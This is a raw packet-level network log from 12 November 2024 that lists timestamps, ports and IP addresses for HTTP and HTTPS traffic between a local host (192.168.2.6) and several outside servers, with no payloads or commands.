Nov 12, 2024 13:35:34.718986034 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.719029903 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.735127926 CET	443	51619	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.735603094 CET	51619	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:34.735620022 CET	443	51619	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.736068964 CET	51619	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:34.736076117 CET	443	51619	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.736408949 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:34.736428976 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:34.736509085 CET	51614	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:34.736531973 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:34.736576080 CET	51614	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:34.748631954 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.748660088 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.748671055 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.748696089 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.748720884 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.748811007 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.748823881 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.748877048 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.748996019 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.749039888 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.749094963 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.749114037 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.749172926 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.749183893 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.749200106 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.749249935 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.749263048 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.749430895 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.749480009 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.749654055 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.749710083 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.749737024 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.749748945 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.749793053 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.749952078 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.749967098 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.749979973 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.749995947 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.750052929 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.750422955 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.750487089 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.750498056 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.750509024 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.750547886 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.750674009 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.750766993 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.784476042 CET	443	51618	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.784987926 CET	51618	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:34.785024881 CET	443	51618	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.785497904 CET	51618	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:34.785505056 CET	443	51618	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.805948973 CET	443	51615	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.806022882 CET	443	51615	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.806221008 CET	51615	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:34.806278944 CET	443	51616	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.806314945 CET	51615	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:34.806328058 CET	443	51615	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.806334972 CET	443	51616	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.806358099 CET	51615	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:34.806368113 CET	443	51615	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.806376934 CET	51616	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:34.806530952 CET	51616	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:34.806546926 CET	443	51616	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.806622028 CET	51616	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:34.806627989 CET	443	51616	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.810620070 CET	51623	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:34.810647964 CET	443	51623	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.810767889 CET	51624	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:34.810805082 CET	443	51624	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.810806990 CET	51623	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:34.810867071 CET	51624	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:34.810960054 CET	51623	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:34.810975075 CET	443	51623	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.811078072 CET	51624	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:34.811094046 CET	443	51624	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.832653046 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.832736969 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.832833052 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.832866907 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.832880974 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.832911015 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.832912922 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.832959890 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.834656954 CET	443	51617	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.834788084 CET	443	51617	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.834836960 CET	443	51617	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.834844112 CET	51617	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:34.834887028 CET	51617	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:34.835016966 CET	51617	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:34.835028887 CET	443	51617	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.835077047 CET	51617	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:34.835083008 CET	443	51617	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.836179018 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.836210966 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.836225033 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.836277008 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.836314917 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.836349010 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.836368084 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.836386919 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.836467981 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.836613894 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.836625099 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.836694956 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.838267088 CET	51625	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:34.838293076 CET	443	51625	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.838366985 CET	51625	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:34.838570118 CET	51625	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:34.838594913 CET	443	51625	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.853305101 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:34.853326082 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:34.853389025 CET	51614	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:34.853396893 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:34.853434086 CET	51614	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:34.862737894 CET	443	51619	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.862818956 CET	443	51619	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.862893105 CET	51619	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:34.863117933 CET	51619	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:34.863122940 CET	443	51619	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.865991116 CET	51626	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:34.866024017 CET	443	51626	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.866100073 CET	51626	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:34.866214037 CET	51626	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:34.866224051 CET	443	51626	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.866595030 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.866636992 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.866650105 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.866688967 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.866714954 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.866771936 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.866784096 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.866854906 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.866988897 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.867012978 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.867054939 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.867121935 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.867252111 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.867263079 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.867274046 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.867296934 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.867327929 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.867429018 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.867439985 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.867528915 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.867571115 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.867583036 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.867640018 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.867791891 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.867804050 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.867851973 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.867863894 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.867929935 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.867944002 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.867985010 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.868006945 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.868263006 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.868274927 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.868287086 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.868323088 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.868323088 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.908565044 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.908606052 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.908626080 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.908639908 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.908660889 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.908690929 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.921081066 CET	443	51618	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.921948910 CET	443	51618	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.922111988 CET	51618	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:34.922152042 CET	51618	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:34.922171116 CET	443	51618	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.922183037 CET	51618	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:34.922194958 CET	443	51618	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.924721956 CET	51627	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:34.924740076 CET	443	51627	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.924812078 CET	51627	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:34.924968958 CET	51627	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:34.924981117 CET	443	51627	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.933069944 CET	443	51620	172.64.41.3	192.168.2.6
Nov 12, 2024 13:35:34.934308052 CET	51620	443	192.168.2.6	172.64.41.3
Nov 12, 2024 13:35:34.934322119 CET	443	51620	172.64.41.3	192.168.2.6
Nov 12, 2024 13:35:34.934672117 CET	443	51620	172.64.41.3	192.168.2.6
Nov 12, 2024 13:35:34.935309887 CET	51620	443	192.168.2.6	172.64.41.3
Nov 12, 2024 13:35:34.935375929 CET	443	51620	172.64.41.3	192.168.2.6
Nov 12, 2024 13:35:34.943310022 CET	443	51621	172.64.41.3	192.168.2.6
Nov 12, 2024 13:35:34.943655014 CET	51621	443	192.168.2.6	172.64.41.3
Nov 12, 2024 13:35:34.943671942 CET	443	51621	172.64.41.3	192.168.2.6
Nov 12, 2024 13:35:34.944013119 CET	443	51621	172.64.41.3	192.168.2.6
Nov 12, 2024 13:35:34.944336891 CET	51621	443	192.168.2.6	172.64.41.3
Nov 12, 2024 13:35:34.944406986 CET	443	51621	172.64.41.3	192.168.2.6
Nov 12, 2024 13:35:34.950294018 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.950329065 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.950341940 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.950361013 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.950401068 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.953634024 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.953677893 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.953691006 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.953722000 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.953756094 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.953892946 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.953905106 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.953944921 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.970537901 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:34.970556974 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:34.970613003 CET	51614	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:34.970624924 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:34.970668077 CET	51614	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:34.979124069 CET	51620	443	192.168.2.6	172.64.41.3
Nov 12, 2024 13:35:34.984215021 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.984256029 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.984268904 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.984287024 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.984308958 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.984385967 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.984411001 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.984472036 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.984622002 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.984635115 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.984675884 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.984704018 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.984827995 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.984839916 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.984878063 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.984888077 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.984972000 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.984982967 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.985028028 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.985198975 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.985215902 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.985228062 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.985243082 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.985259056 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.985295057 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.985630989 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.985642910 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.985655069 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.985666990 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.985688925 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.985727072 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.986044884 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.986057997 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.986068964 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.986084938 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.986110926 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.986145020 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.012547016 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:35.012567997 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:35.012619972 CET	51614	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:35.012630939 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:35.012645006 CET	51614	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:35.012772083 CET	51614	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:35.026191950 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.026233912 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.026246071 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.026259899 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.026283979 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.067939997 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.067987919 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.068000078 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.068037033 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.068089008 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.068191051 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.068334103 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.071369886 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.071434975 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.071466923 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.071477890 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.071512938 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.071541071 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.071654081 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.071665049 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.071724892 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.088644028 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:35.088666916 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:35.088757992 CET	51614	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:35.088774920 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:35.088814020 CET	51614	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:35.101798058 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.101854086 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.101861000 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.102031946 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.102072954 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.102072954 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.102154016 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.102201939 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.102245092 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.102257967 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.102268934 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.102320910 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.102320910 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.102499008 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.102545023 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.102576017 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.102623940 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.102729082 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.102740049 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.102749109 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.102761984 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.102782011 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.102866888 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.103010893 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.103034973 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.103190899 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.103215933 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.103228092 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.103302002 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.103473902 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.103483915 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.103496075 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.103507042 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.103518963 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.103534937 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.103600979 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.103899002 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.103926897 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.103935957 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.104038000 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.150471926 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.150698900 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.151041031 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.151057005 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.151331902 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.151333094 CET	443	51621	172.64.41.3	192.168.2.6
Nov 12, 2024 13:35:35.151390076 CET	51621	443	192.168.2.6	172.64.41.3
Nov 12, 2024 13:35:35.185544968 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.185596943 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.185656071 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.185667992 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.185692072 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.185790062 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.188858032 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.188947916 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.188958883 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.188973904 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.188993931 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.189003944 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.189091921 CET	80	51556	185.215.113.206	192.168.2.6
